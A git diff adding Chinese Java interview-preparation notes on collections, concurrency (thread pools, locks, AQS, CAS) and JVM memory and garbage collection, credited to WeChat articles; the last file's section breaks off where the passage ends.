+LinkedHashSet 继承自 HashSet,通过 LinkedHashMap 实现,使用双向链表维护元素插入顺序。
+
+TreeSet 通过 TreeMap 实现的,底层数据结构是红黑树,添加元素到集合时按照比较规则将其插入合适的位置,保证插入后的集合仍然有序。查询 O(logn)
+
+### 简述 Java 的 HashMap
+
+JDK8 之前底层实现是数组 + 链表,JDK8 改为数组 + 链表/红黑树。主要成员变量包括存储数据的 table 数组、元素数量 size、加载因子 loadFactor。HashMap 中数据以键值对的形式存在,键对应的 hash 值用来计算数组下标,如果两个元素 key 的 hash 值一样,就会发生哈希冲突,被放到同一个链表上。
+
+table 数组记录 HashMap 的数据,每个下标对应一条链表,所有哈希冲突的数据都会被存放到同一条链表,Node/Entry 节点包含四个成员变量:key、value、next 指针和 hash 值。在 JDK8 后链表超过 8 会转化为红黑树。
+
+若当前数据/总数据容量>负载因子,Hashmap 将执行扩容操作。默认初始化容量为 16,扩容容量必须是 2 的幂次方、最大容量为 1<< 30 、默认加载因子为 0.75。
+
+### 为何 HashMap 线程不安全
+
+在 JDK1.7 中,HashMap 采用头插法插入元素,因此并发情况下会导致环形链表,产生死循环。
+
+虽然 JDK1.8 采用了尾插法解决了这个问题,但是并发下的 put 操作也会使前一个 key 被后一个 key 覆盖。
+
+由于 HashMap 有扩容机制存在,也存在 A 线程进行扩容后,B 线程执行 get 方法出现失误的情况。
+
+### 简述 Java 的 TreeMap
+
+TreeMap 是底层利用红黑树实现的 Map 结构,底层实现是一棵平衡的排序二叉树,由于红黑树的插入、删除、遍历时间复杂度都为 O(logN),所以性能上低于哈希表。但是哈希表无法提供键值对的有序输出,红黑树可以按照键的值的大小有序输出。
+
+
+
+### ArrayList、Vector 和 LinkedList 有什么共同点与区别?
+
+- ArrayList、Vector 和 LinkedList 都是可伸缩的数组,即可以动态改变长度的数组。
+- ArrayList 和 Vector 都是基于存储元素的 Object[] array 来实现的,它们会在内存中开辟一块连续的空间来存储,支持下标、索引访问。但在涉及插入元素时可能需要移动容器中的元素,插入效率较低。当存储元素超过容器的初始化容量大小,ArrayList 与 Vector 均会进行扩容。
+- Vector 是线程安全的,其大部分方法是直接或间接同步的。ArrayList 不是线程安全的,其方法不具有同步性质。LinkedList 也不是线程安全的。
+- LinkedList 采用双向列表实现,对数据索引需要从头开始遍历,因此随机访问效率较低,但在插入元素的时候不需要对数据进行移动,插入效率较高。
+
+### HashMap 和 Hashtable 有什么区别?
+
+- HashMap 是 Hashtable 的轻量级实现,HashMap 允许 key 和 value 为 null,但最多允许一条记录的 key 为 null.而 HashTable 不允许。
+- HashTable 中的方法是线程安全的,而 HashMap 不是。在多线程访问 HashMap 需要提供额外的同步机制。
+- Hashtable 使用 Enumeration 进行遍历,HashMap 使用 Iterator 进行遍历。
+
+### 如何决定使用 HashMap 还是 TreeMap?
+
+如果对 Map 进行插入、删除或定位一个元素的操作更频繁,HashMap 是更好的选择。如果需要对 key 集合进行有序的遍历,TreeMap 是更好的选择。
+
+
+
+### HashSet 中,equals 与 hashCode 之间的关系?
+
+equals 和 hashCode 这两个方法都是从 object 类中继承过来的,equals 主要用于判断对象的内存地址引用是否是同一个地址;hashCode 根据定义的哈希规则将对象的内存地址转换为一个哈希码。HashSet 中存储的元素是不能重复的,主要通过 hashCode 与 equals 两个方法来判断存储的对象是否相同:
+
+- 如果两个对象的 hashCode 值不同,说明两个对象不相同。
+- 如果两个对象的 hashCode 值相同,接着会调用对象的 equals 方法,如果 equlas 方法的返回结果为 true,那么说明两个对象相同,否则不相同。
+
+### fail-fast 和 fail-safe 迭代器的区别是什么?
+
+- fail-fast 直接在容器上进行,在遍历过程中,一旦发现容器中的数据被修改,就会立刻抛出 ConcurrentModificationException 异常从而导致遍历失败。常见的使用 fail-fast 方式的容器有 HashMap 和 ArrayList 等。
+- fail-safe 这种遍历基于容器的一个克隆。因此对容器中的内容修改不影响遍历。常见的使用 fail-safe 方式遍历的容器有 ConcurrentHashMap 和 CopyOnWriteArrayList。
+
+### Collection 和 Collections 有什么区别?
+
+- Collection 是一个集合接口,它提供了对集合对象进行基本操作的通用接口方法,所有集合都是它的子类,比如 List、Set 等。
+- Collections 是一个包装类,包含了很多静态方法、不能被实例化,而是作为工具类使用,比如提供的排序方法:Collections.sort(list);提供的反转方法:Collections.reverse(list)。
+
+---
+
+作者:后端技术小牛说
+链接:https://mp.weixin.qq.com/s/PmeH38qWVxyIhBpsAsjG7w
diff --git a/docs/baguwen/java-thread.md b/docs/baguwen/java-thread.md
new file mode 100644
index 0000000000..025a164ce5
--- /dev/null
+++ b/docs/baguwen/java-thread.md
@@ -0,0 +1,294 @@
+### 简述Java内存模型(JMM)
+Java内存模型定义了程序中各种变量的访问规则:
+
+- 所有变量都存储在主存,每个线程都有自己的工作内存。
+- 工作内存中保存了被该线程使用的变量的主存副本,线程对变量的所有操作都必须在工作空间进行,不能直接读写主内存数据。
+- 操作完成后,线程的工作内存通过缓存一致性协议将操作完的数据刷回主存。
+
+### 简述as-if-serial
+编译器会对原始的程序进行指令重排序和优化。但不管怎么重排序,其结果都必须和用户原始程序输出的预定结果保持一致。
+
+### 简述happens-before八大规则
+- 程序次序规则:一个线程内,按照代码顺序,书写在前面的操作先行发生于书写在后面的操作;
+- 锁定规则:一个unLock操作先行发生于后面对同一个锁的lock操作;
+- volatile变量规则:对一个变量的写操作先行发生于后面对这个变量的读操作;
+- 传递规则:如果操作A先行发生于操作B,而操作B又先行发生于操作C,则可以得出操作A先行发生于操作C;
+- 线程启动规则:Thread对象的start()方法先行发生于此线程的每个一个动作;
+- 线程中断规则:对线程interrupt()方法的调用先行发生于被中断线程的代码检测到中断事件的发生;
+- 线程终结规则:线程中所有的操作都先行发生于线程的终止检测,我们可以通过Thread.join()方法结束、Thread.isAlive()的返回值手段检测到线程已经终止执行;
+- 对象终结规则:一个对象的初始化完成先行发生于他的finalize()方法的开始;
+
+### as-if-serial 和 happens-before 的区别
+as-if-serial 保证单线程程序的执行结果不变,happens-before 保证正确同步的多线程程序的执行结果不变。
+
+### 简述原子性操作
+一个操作或者多个操作,要么全部执行并且执行的过程不会被任何因素打断,要么就都不执行,这就是原子性操作。
+
+### 简述线程的可见性
+可见性指当一个线程修改了共享变量时,其他线程能够立即得知修改。volatile、synchronized、final 关键字都能保证可见性。
+
+### 简述有序性
+虽然多线程存在并发和指令优化等操作,但在本线程内观察该线程的所有执行操作是有序的。
+
+### 简述Java中volatile关键字作用
+- 保证变量对所有线程的可见性。当一个线程修改了变量值,新值对于其他线程来说是立即可以得知的。
+- 禁止指令重排。使用 volatile 变量进行写操作,编译器在生成字节码时,会在指令序列中插入内存屏障来禁止特定类型的处理器进行重排序。
+
+### Java线程的实现方式
+- 实现Runnable接口
+- 继承Thread类
+- 实现Callable接口
+### 简述Java线程的状态
+线程状态有 NEW、RUNNABLE、BLOCK、WAITING、TIMED_WAITING、THERMINATED
+
+- NEW:新建状态,线程被创建且未启动,此时还未调用 start 方法。
+- RUNNABLE:运行状态。表示线程正在JVM中执行,但是这个执行,不一定真的在跑,也可能在排队等CPU。
+- BLOCKED:阻塞状态。线程等待获取锁,锁还没获得。
+- WAITING:等待状态。线程内run方法执行完Object.wait()/Thread.join()进入该状态。
+- TIMED_WAITING:限期等待。在一定时间之后跳出状态。调用Thread.sleep(long) Object.wait(long) Thread.join(long)进入状态。其中这些参数代表等待的时间。
+- TERMINATED:结束状态。线程调用完run方法进入该状态。
+
+### 简述线程通信的方式
+- volatile 关键词修饰变量,保证所有线程对变量访问的可见性。
+- synchronized关键词。确保多个线程在同一时刻只能有一个处于方法或同步块中。
+- wait/notify方法
+- IO通信
+### 简述线程池
+没有线程池的情况下,多次创建,销毁线程开销比较大。如果在开辟的线程执行完当前任务后复用已创建的线程,可以降低开销、控制最大并发数。
+
+线程池创建线程时,会将线程封装成工作线程 Worker,Worker 在执行完任务后还会循环获取工作队列中的任务来执行。
+
+将任务派发给线程池时,会出现以下几种情况
+
+- 核心线程池未满,创建一个新的线程执行任务。
+- 如果核心线程池已满,工作队列未满,将线程存储在工作队列。
+- 如果工作队列已满,线程数小于最大线程数就创建一个新线程处理任务。
+- 如果超过大小线程数,按照拒绝策略来处理任务。
+
+线程池参数:
+
+- corePoolSize:常驻核心线程数。超过该值后如果线程空闲会被销毁。
+- maximumPoolSize:线程池能够容纳同时执行的线程最大数。
+- keepAliveTime:线程空闲时间,线程空闲时间达到该值后会被销毁,直到只剩下 corePoolSize 个线程为止,避免浪费内存资源。
+- workQueue:工作队列。
+- threadFactory:线程工厂,用来生产一组相同任务的线程。
+- handler:拒绝策略。
+
+拒绝策略有以下几种:
+
+- AbortPolicy:丢弃任务并抛出异常
+- CallerRunsPolicy:重新尝试提交该任务
+- DiscardOldestPolicy 抛弃队列里等待最久的任务并把当前任务加入队列
+- DiscardPolicy 表示直接抛弃当前任务但不抛出异常。
+
+
+### 简述Executor框架
+Executor框架目的是将任务提交和任务如何运行分离开来的机制。用户不再需要从代码层考虑设计任务的提交运行,只需要调用Executor框架实现类的Execute方法就可以提交任务。
+
+### 简述Executor的继承关系
+- Executor:一个接口,其定义了一个接收Runnable对象的方法executor,该方法接收一个Runable实例执行这个任务。
+- ExecutorService:Executor的子类接口,其定义了一个接收Callable对象的方法,返回 Future 对象,同时提供execute方法。
+- ScheduledExecutorService:ExecutorService的子类接口,支持定期执行任务。
+- AbstractExecutorService:抽象类,提供 ExecutorService 执行方法的默认实现。
+- Executors:实现ExecutorService接口的静态工厂类,提供了一系列工厂方法用于创建线程池。
+- ThreadPoolExecutor:继承AbstractExecutorService,用于创建线程池。
+- ForkJoinPool: 继承AbstractExecutorService,Fork 将大任务分叉为多个小任务,然后让小任务执行,Join 是获得小任务的结果,类似于map reduce。
+- ThreadPoolExecutor:继承ThreadPoolExecutor,实现ScheduledExecutorService,用于创建带定时任务的线程池。
+### 简述线程池的状态
+- Running:能接受新提交的任务,也可以处理阻塞队列的任务。
+- Shutdown:不再接受新提交的任务,但可以处理存量任务,线程池处于running时调用shutdown方法,会进入该状态。
+- Stop:不接受新任务,不处理存量任务,调用shutdownnow进入该状态。
+- Tidying:所有任务已经终止了,worker_count(有效线程数)为0。
+- Terminated:线程池彻底终止。在tidying模式下调用terminated方法会进入该状态。
+
+### 简述线程池类型
+- newCachedThreadPool 可缓存线程池,可设置最小线程数和最大线程数,线程空闲1分钟后自动销毁。
+- newFixedThreadPool 指定工作线程数量线程池。
+- newSingleThreadExecutor 单线程Executor。
+- newScheduleThreadPool 支持定时任务的指定工作线程数量线程池。
+- newSingleThreadScheduledExecutor 支持定时任务的单线程Executor。
+
+### 简述阻塞队列
+阻塞队列是生产者消费者的实现具体组件之一。当阻塞队列为空时,从队列中获取元素的操作将会被阻塞,当阻塞队列满了,往队列添加元素的操作将会被阻塞。具体实现有:
+
+- ArrayBlockingQueue:底层是由数组组成的有界阻塞队列。
+- LinkedBlockingQueue:底层是由链表组成的有界阻塞队列。
+- PriorityBlockingQueue:阻塞优先队列。
+- DelayQueue:创建元素时可以指定多久才能从队列中获取当前元素
+- SynchronousQueue:不存储元素的阻塞队列,每一个存储必须等待一个取出操作
+- LinkedTransferQueue:与LinkedBlockingQueue相比多一个transfer方法,即如果当前有消费者正等待接收元素,可以把生产者传入的元素立刻传输给消费者。
+- LinkedBlockingDeque:双向阻塞队列。
+### 谈一谈ThreadLocal
+ThreadLocal 是线程共享变量。ThreadLoacl 有一个静态内部类 ThreadLocalMap,其 Key 是 ThreadLocal 对象,值是 Entry 对象,ThreadLocalMap是每个线程私有的。
+
+- set 给ThreadLocalMap设置值。
+- get 获取ThreadLocalMap。
+- remove 删除ThreadLocalMap类型的对象。
+
+存在的问题:对于线程池,由于线程池会重用 Thread 对象,因此与 Thread 绑定的 ThreadLocal 也会被重用,造成一系列问题。
+
+比如说内存泄漏。由于 ThreadLocal 是弱引用,但 Entry 的 value 是强引用,因此当 ThreadLocal 被垃圾回收后,value 依旧不会被释放,产生内存泄漏。
+
+### 聊聊你对Java并发包下unsafe类的理解
+对于 Java 语言,没有直接的指针组件,一般也不能使用偏移量对某块内存进行操作。这些操作相对来讲是安全(safe)的。
+
+Java 有个类叫 Unsafe 类,这个类使 Java 拥有了像 C 语言的指针一样操作内存空间的能力,同时也带来了指针的问题。这个类可以说是 Java 并发开发的基础。
+
+### Java中的乐观锁与CAS算法
+乐观锁认为数据发送时发生并发冲突的概率不大,所以读操作前不上锁。
+
+到了写操作时才会进行判断,数据在此期间是否被其他线程修改。如果发生修改,那就返回写入失败;如果没有被修改,那就执行修改操作,返回修改成功。
+
+乐观锁一般都采用 Compare And Swap(CAS)算法进行实现。顾名思义,该算法涉及到了两个操作,比较(Compare)和交换(Swap)。
+
+CAS 算法的思路如下:
+
+- 该算法认为不同线程对变量的操作时产生竞争的情况比较少。
+- 该算法的核心是对当前读取变量值 E 和内存中的变量旧值 V 进行比较。
+- 如果相等,就代表其他线程没有对该变量进行修改,就将变量值更新为新值 N。
+- 如果不等,就认为在读取值 E 到比较阶段,有其他线程对变量进行过修改,不进行任何操作。
+
+### ABA问题及解决方法简述
+CAS 算法是基于值来做比较的,如果当前有两个线程,一个线程将变量值从 A 改为 B ,再由 B 改回为 A ,当前线程开始执行 CAS 算法时,就很容易认为值没有变化,误认为读取数据到执行 CAS 算法的期间,没有线程修改过数据。
+
+juc 包提供了一个 AtomicStampedReference,即在原始的版本下加入版本号戳,解决 ABA 问题。
+
+### 简述常见的Atomic类
+在很多时候,我们需要的仅仅是一个简单的、高效的、线程安全的++或者--方案,使用synchronized关键字和lock固然可以实现,但代价比较大,此时用原子类更加方便。基本数据类型的原子类有:
+
+- AtomicInteger 原子更新整形
+- AtomicLong 原子更新长整型
+- AtomicBoolean 原子更新布尔类型
+
+Atomic数组类型有:
+
+- AtomicIntegerArray 原子更新整形数组里的元素
+- AtomicLongArray 原子更新长整型数组里的元素
+- AtomicReferenceArray 原子更新引用类型数组里的元素。
+
+Atomic引用类型有:
+
+- AtomicReference 原子更新引用类型
+- AtomicMarkableReference 原子更新带有标记位的引用类型,可以绑定一个 boolean 标记
+- AtomicStampedReference 原子更新带有版本号的引用类型
+
+FieldUpdater类型:
+
+- AtomicIntegerFieldUpdater 原子更新整形字段的更新器
+- AtomicLongFieldUpdater 原子更新长整形字段的更新器
+- AtomicReferenceFieldUpdater 原子更新引用类型字段的更新器
+### 简述Atomic类基本实现原理
+以AtomicIntger 为例。
+
+方法getAndIncrement,以原子方式将当前的值加1,具体实现为:
+
+- 在 for 死循环中取得 AtomicInteger 里存储的数值
+- 对 AtomicInteger 当前的值加 1
+- 调用 compareAndSet 方法进行原子更新
+- 先检查当前数值是否等于 expect
+- 如果等于则说明当前值没有被其他线程修改,则将值更新为 next,
+- 如果不是会更新失败返回 false,程序会进入 for 循环重新进行 compareAndSet 操作。
+### 简述CountDownLatch
+CountDownLatch这个类使一个线程等待其他线程各自执行完毕后再执行。是通过一个计数器来实现的,计数器的初始值是线程的数量。每当一个线程执行完毕后,调用countDown方法,计数器的值就减1,当计数器的值为0时,表示所有线程都执行完毕,然后在等待的线程就可以恢复工作了。只能一次性使用,不能reset。
+
+### 简述CyclicBarrier
+CyclicBarrier 主要功能和CountDownLatch类似,也是通过一个计数器,使一个线程等待其他线程各自执行完毕后再执行。但是其可以重复使用(reset)。
+
+### 简述Semaphore
+Semaphore即信号量。Semaphore 的构造方法参数接收一个 int 值,设置一个计数器,表示可用的许可数量即最大并发数。使用 acquire 方法获得一个许可证,计数器减一,使用 release 方法归还许可,计数器加一。如果此时计数器值为0,线程进入休眠。
+
+### 简述Exchanger
+Exchanger类可用于两个线程之间交换信息。可简单地将Exchanger对象理解为一个包含两个格子的容器,通过exchanger方法可以向两个格子中填充信息。线程通过exchange 方法交换数据,第一个线程执行 exchange 方法后会阻塞等待第二个线程执行该方法。当两个线程都到达同步点时这两个线程就可以交换数据当两个格子中的均被填充时,该对象会自动将两个格子的信息交换,然后返回给线程,从而实现两个线程的信息交换。
+
+### 简述ConcurrentHashMap
+JDK7采用锁分段技术。首先将数据分成 Segment 数据段,然后给每一个数据段配一把锁,当一个线程占用锁访问其中一个段的数据时,其他段的数据也能被其他线程访问。
+
+get 除读到空值不需要加锁。该方法先经过一次再散列,再用这个散列值通过散列运算定位到 Segment,最后通过散列算法定位到元素。put 须加锁,首先定位到 Segment,然后进行插入操作,第一步判断是否需要对 Segment 里的 HashEntry 数组进行扩容,第二步定位添加元素的位置,然后将其放入数组。
+
+JDK8的改进
+
+- 取消分段锁机制,采用CAS算法进行值的设置,如果CAS失败再使用 synchronized 加锁添加元素
+- 引入红黑树结构,当某个槽内的元素个数超过8且 Node数组 容量大于 64 时,链表转为红黑树。
+- 使用了更加优化的方式统计集合内的元素数量。
+### synchronized底层实现原理
+Java 对象底层都会关联一个 monitor,使用 synchronized 时 JVM 会根据使用环境找到对象的 monitor,根据 monitor 的状态进行加解锁的判断。如果成功加锁就成为该 monitor 的唯一持有者,monitor 在被释放前不能再被其他线程获取。
+
+synchronized在JVM编译后会产生monitorenter 和 monitorexit 这两个字节码指令,获取和释放 monitor。这两个字节码指令都需要一个引用类型的参数指明要锁定和解锁的对象,对于同步普通方法,锁是当前实例对象;对于静态同步方法,锁是当前类的 Class 对象;对于同步方法块,锁是 synchronized 括号里的对象。
+
+执行 monitorenter 指令时,首先尝试获取对象锁。如果这个对象没有被锁定,或当前线程已经持有锁,就把锁的计数器加 1,执行 monitorexit 指令时会将锁计数器减 1。一旦计数器为 0 锁随即就被释放。
+
+### synchronized关键词使用方法
+- 直接修饰某个实例方法
+- 直接修饰某个静态方法
+- 修饰代码块
+### 简述Java偏向锁
+JDK 1.6 中提出了偏向锁的概念。该锁提出的原因是,开发者发现多数情况下锁并不存在竞争,一把锁往往是由同一个线程获得的。偏向锁并不会主动释放,这样每次偏向锁进入的时候都会判断该资源是否是偏向自己的,如果是偏向自己的则不需要进行额外的操作,直接可以进入同步操作。
+
+其申请流程为:
+
+- 首先需要判断对象的 Mark Word 是否属于偏向模式,如果不属于,那就进入轻量级锁判断逻辑。否则继续下一步判断;
+- 判断目前请求锁的线程 ID 是否和偏向锁本身记录的线程 ID 一致。如果一致,继续下一步的判断,如果不一致,跳转到步骤4;
+- 判断是否需要重偏向。如果不用的话,直接获得偏向锁;
+- 利用 CAS 算法将对象的 Mark Word 进行更改,使线程 ID 部分换成本线程 ID。如果更换成功,则重偏向完成,获得偏向锁。如果失败,则说明有多线程竞争,升级为轻量级锁。
+### 简述轻量级锁
+轻量级锁是为了在没有竞争的前提下减少重量级锁出现并导致的性能消耗。
+
+其申请流程为:
+
+- 如果同步对象没有被锁定,虚拟机将在当前线程的栈帧中建立一个锁记录空间,存储锁对象目前 Mark Word 的拷贝。
+- 虚拟机使用 CAS 尝试把对象的 Mark Word 更新为指向锁记录的指针
+- 如果更新成功即代表该线程拥有了锁,锁标志位将转变为 00,表示处于轻量级锁定状态。
+- 如果更新失败就意味着至少存在一条线程与当前线程竞争。虚拟机检查对象的 Mark Word 是否指向当前线程的栈帧
+- 如果指向当前线程的栈帧,说明当前线程已经拥有了锁,直接进入同步块继续执行
+- 如果不是则说明锁对象已经被其他线程抢占。
+- 如果出现两条以上线程争用同一个锁,轻量级锁就不再有效,将膨胀为重量级锁,锁标志状态变为 10,此时Mark Word 存储的就是指向重量级锁的指针,后面等待锁的线程也必须阻塞。
+### 简述锁优化策略
+即自适应自旋、锁消除、锁粗化、锁升级等策略偏。
+
+### 简述Java的自旋锁
+线程获取锁失败后,可以采用这样的策略,可以不放弃 CPU ,不停的重试内重试,这种操作也称为自旋锁。
+
+### 简述自适应自旋锁
+自适应自旋锁自旋次数不再人为设定,通常由前一次在同一个锁上的自旋时间及锁的拥有者的状态决定。
+
+### 简述锁粗化
+锁粗化的思想就是扩大加锁范围,避免反复的加锁和解锁。
+
+### 简述锁消除
+锁消除是一种更为彻底的优化,在编译时,Java编译器对运行上下文进行扫描,去除不可能存在共享资源竞争的锁。
+
+### 简述Lock与ReentrantLock
+Lock接口是 Java并发包的顶层接口。
+
+可重入锁 ReentrantLock 是 Lock 最常见的实现,与 synchronized 一样可重入。ReentrantLock 在默认情况下是非公平的,可以通过构造方法指定公平锁。一旦使用了公平锁,性能会下降。
+
+### 简述AQS
+
+AQS(AbstractQuenedSynchronizer)抽象的队列式同步器。AQS是将每一条请求共享资源的线程封装成一个锁队列的一个结点(Node),来实现锁的分配。AQS是用来构建锁或其他同步组件的基础框架,它使用一个 volatile int state 变量作为共享资源,如果线程获取资源失败,则进入同步队列等待;如果获取成功就执行临界区代码,释放资源时会通知同步队列中的等待线程。
+
+子类通过继承同步器并实现它的抽象方法getState、setState 和 compareAndSetState对同步状态进行更改。
+
+AQS获取独占锁/释放独占锁原理:
+
+获取:(acquire)
+
+- 调用 tryAcquire 方法安全地获取线程同步状态,获取失败的线程会被构造同步节点并通过 addWaiter 方法加入到同步队列的尾部,在队列中自旋。
+- 调用 acquireQueued 方法使得该节点以死循环的方式获取同步状态,如果获取不到则阻塞。
+
+释放:(release)
+
+- 调用 tryRelease 方法释放同步状态
+- 调用 unparkSuccessor 方法唤醒头节点的后继节点,使后继节点重新尝试获取同步状态。
+
+AQS获取共享锁/释放共享锁原理
+
+获取锁(acquireShared)
+
+- 调用 tryAcquireShared 方法尝试获取同步状态,返回值不小于 0 表示能获取同步状态。
+- 释放(releaseShared),并唤醒后续处于等待状态的节点。
+
+----
+
+
+作者:后端技术小牛说
+链接:https://mp.weixin.qq.com/s/HEzi-UKs-hpWhTh_HPWaMQ
diff --git a/docs/baguwen/jvm.md b/docs/baguwen/jvm.md
new file mode 100644
index 0000000000..6181a5abc9
--- /dev/null
+++ b/docs/baguwen/jvm.md
@@ -0,0 +1,196 @@
+### 简述JVM内存模型
+线程私有的运行时数据区: 程序计数器、Java 虚拟机栈、本地方法栈。
+
+线程共享的运行时数据区:Java 堆、方法区。
+
+### 简述程序计数器
+程序计数器表示当前线程所执行的字节码的行号指示器。
+
+程序计数器不会产生StackOverflowError和OutOfMemoryError。
+
+### 简述虚拟机栈
+Java 虚拟机栈用来描述 Java 方法执行的内存模型。线程创建时就会分配一个栈空间,线程结束后栈空间被回收。
+
+栈中元素用于支持虚拟机进行方法调用,每个方法在执行时都会创建一个栈帧存储方法的局部变量表、操作栈、动态链接和返回地址等信息。
+
+虚拟机栈会产生两类异常:
+
+- StackOverflowError:线程请求的栈深度大于虚拟机允许的深度抛出。
+- OutOfMemoryError:如果 JVM 栈容量可以动态扩展,虚拟机栈占用内存超出抛出。
+
+### 简述本地方法栈
+本地方法栈与虚拟机栈作用相似,不同的是虚拟机栈为虚拟机执行 Java 方法服务,本地方法栈为本地方法服务。可以将虚拟机栈看作普通的java函数对应的内存模型,本地方法栈看作由native关键词修饰的函数对应的内存模型。
+
+本地方法栈会产生两类异常:
+
+- StackOverflowError:线程请求的栈深度大于虚拟机允许的深度抛出。
+- OutOfMemoryError:如果 JVM 栈容量可以动态扩展,虚拟机栈占用内存超出抛出。
+
+### 简述JVM中的堆
+堆主要作用是存放对象实例,Java 里几乎所有对象实例都在堆上分配内存,堆也是内存管理中最大的一块。Java的垃圾回收主要就是针对堆这一区域进行。 可通过 -Xms 和 -Xmx 设置堆的最小和最大容量。
+
+堆会抛出 OutOfMemoryError异常。
+
+### 简述方法区
+方法区用于存储被虚拟机加载的类信息、常量、静态变量等数据。
+
+JDK6之前使用永久代实现方法区,容易内存溢出。JDK7 把放在永久代的字符串常量池、静态变量等移出,JDK8 中抛弃永久代,改用在本地内存中实现的元空间来实现方法区,把 JDK 7 中永久代内容移到元空间。
+
+方法区会抛出 OutOfMemoryError异常。
+
+### 简述运行时常量池
+运行时常量池存放常量池表,用于存放编译器生成的各种字面量与符号引用。一般除了保存 Class 文件中描述的符号引用外,还会把符号引用翻译的直接引用也存储在运行时常量池。除此之外,也会存放字符串基本类型。
+
+JDK8之前,放在方法区,大小受限于方法区。JDK8将运行时常量池存放堆中。
+
+### 简述直接内存
+直接内存也称为堆外内存,就是把内存对象分配在JVM堆外的内存区域。这部分内存不是虚拟机管理,而是由操作系统来管理。 Java通过DriectByteBuffer对其进行操作,避免了在 Java 堆和 Native堆来回复制数据。
+
+### 简述Java创建对象的过程
+- 检查该指令的参数能否在常量池中定位到一个类的符号引用,并检查引用代表的类是否已被加载、解析和初始化,如果没有就先执行类加载。
+- 通过检查通过后虚拟机将为新生对象分配内存。
+- 完成内存分配后虚拟机将成员变量设为零值
+- 设置对象头,包括哈希码、GC 信息、锁信息、对象所属类的类元信息等。
+- 执行 init 方法,初始化成员变量,执行实例化代码块,调用类的构造方法,并把堆内对象的首地址赋值给引用变量。
+### 简述JVM给对象分配内存的策略
+- 指针碰撞:这种方式在内存中放一个指针作为分界指示器将使用过的内存放在一边,空闲的放在另一边,通过指针挪动完成分配。
+- 空闲列表:对于 Java 堆内存不规整的情况,虚拟机必须维护一个列表记录哪些内存可用,在分配时从列表中找到一块足够大的空间划分给对象并更新列表记录。
+### Java对象内存分配是如何保证线程安全的
+第一种方法,采用CAS机制,配合失败重试的方式保证更新操作的原子性。该方式效率低。
+
+第二种方法,每个线程在Java堆中预先分配一小块内存,然后再给对象分配内存的时候,直接在自己这块"私有"内存中分配。一般采用这种策略。
+
+### 简述对象的内存布局
+对象在堆内存的存储布局可分为对象头、实例数据和对齐填充。
+
+1)对象头主要包含两部分数据: MarkWord、类型指针。
+
+MarkWord 用于存储哈希码(HashCode)、GC分代年龄、锁状态标志位、线程持有的锁、偏向线程ID等信息。
+
+类型指针即对象指向他的类元数据指针,如果对象是一个 Java 数组,会有一块用于记录数组长度的数据。
+
+2)实例数据存储代码中所定义的各种类型的字段信息。
+
+3)对齐填充起占位作用。HotSpot 虚拟机要求对象的起始地址必须是8的整数倍,因此需要对齐填充。
+
+### 如何判断对象是否是垃圾
+1)引用计数法:
+
+设置引用计数器,对象被引用计数器加 1,引用失效时计数器减 1,如果计数器为 0 则被标记为垃圾。会存在对象间循环引用的问题,一般不使用这种方法。
+
+2)可达性分析:
+
+通过 GC Roots 的根对象作为起始节点,从这些节点开始,根据引用关系向下搜索,如果某个对象没有被搜到,则会被标记为垃圾。可作为 GC Roots 的对象包括虚拟机栈和本地方法栈中引用的对象、类静态属性引用的对象、常量引用的对象。
+
+### 简述java的引用类型
+- 强引用: 被强引用关联的对象不会被回收。一般采用 new 方法创建强引用。
+- 软引用:被软引用关联的对象只有在内存不够的情况下才会被回收。一般采用 SoftReference 类来创建软引用。
+- 弱引用:垃圾收集器碰到即回收,也就是说它只能存活到下一次垃圾回收发生之前。一般采用 WeakReference 类来创建弱引用。
+- 虚引用: 无法通过该引用获取对象。唯一目的就是为了能在对象被回收时收到一个系统通知。虚引用必须与引用队列联合使用。
+
+### 简述标记清除算法、标记整理算法和标记复制算法
+- 标记清除算法:先标记需清除的对象,之后统一回收。这种方法效率不高,会产生大量不连续的碎片。
+- 标记整理算法:先标记存活对象,然后让所有存活对象向一端移动,之后清理端边界以外的内存
+- 标记复制算法:将可用内存按容量划分为大小相等的两块,每次只使用其中一块。当使用的这块空间用完了,就将存活对象复制到另一块,再把已使用过的内存空间一次清理掉。
+
+### 简述分代收集算法
+根据对象存活周期将内存划分为几块,不同块采用适当的收集算法。
+
+一般将堆分为新生代和老年代,对这两块采用不同的算法。
+
+新生代使用:标记复制算法
+
+老年代使用:标记清除或者标记整理算法
+
+### 简述Serial垃圾收集器
+Serial垃圾收集器是单线程串行收集器。垃圾回收的时候,必须暂停其他所有线程。新生代使用标记复制算法,老年代使用标记整理算法。简单高效。
+
+### 简述ParNew垃圾收集器
+ParNew垃圾收集器可以看作Serial垃圾收集器的多线程版本,新生代使用标记复制算法,老年代使用标记整理算法。
+
+### 简述Parallel Scavenge垃圾收集器
+注重吞吐量,即 CPU运行代码时间/CPU耗时总时间(CPU运行代码时间+ 垃圾回收时间)。新生代使用标记复制算法,老年代使用标记整理算法。
+
+### 简述CMS垃圾收集器
+CMS垃圾收集器注重最短时间停顿。CMS垃圾收集器为最早提出的并发收集器,垃圾收集线程与用户线程同时工作。采用标记清除算法。该收集器分为初始标记、并发标记、并发预清理、并发清除、并发重置这么几个步骤。
+
+- 初始标记:暂停其他线程(stop the world),标记与GC roots直接关联的对象。
+- 并发标记:可达性分析过程(程序不会停顿)。
+- 并发预清理:查找执行并发标记阶段从年轻代晋升到老年代的对象,重新标记,暂停虚拟机(stop the world)扫描CMS堆中剩余对象。
+- 并发清除:清理垃圾对象,(程序不会停顿)。
+- 并发重置,重置CMS收集器的数据结构。
+
+### 简述G1垃圾收集器
+和Serial、Parallel Scavenge、CMS不同,G1垃圾收集器把堆划分成多个大小相等的独立区域(Region),新生代和老年代不再物理隔离。通过引入 Region 的概念,从而将原来的一整块内存空间划分成多个的小空间,使得每个小空间可以单独进行垃圾回收。
+
+- 初始标记:标记与GC roots直接关联的对象。
+- 并发标记:可达性分析。
+- 最终标记:对并发标记过程中,用户线程修改的对象再次标记一下。
+- 筛选回收:对各个Region的回收价值和成本进行排序,然后根据用户所期望的GC停顿时间制定回收计划并回收。
+
+### 简述Minor GC
+Minor GC指发生在新生代的垃圾收集,因为 Java 对象大多存活时间短,所以 Minor GC 非常频繁,一般回收速度也比较快。
+
+### 简述Full GC
+Full GC 是清理整个堆空间—包括年轻代和永久代。调用System.gc(),老年代空间不足,空间分配担保失败,永生代空间不足会产生full gc。
+
+### 常见内存分配策略
+大多数情况下对象在新生代 Eden 区分配,当 Eden 没有足够空间时将发起一次 Minor GC。
+
+大对象需要大量连续内存空间,直接进入老年代区分配。
+
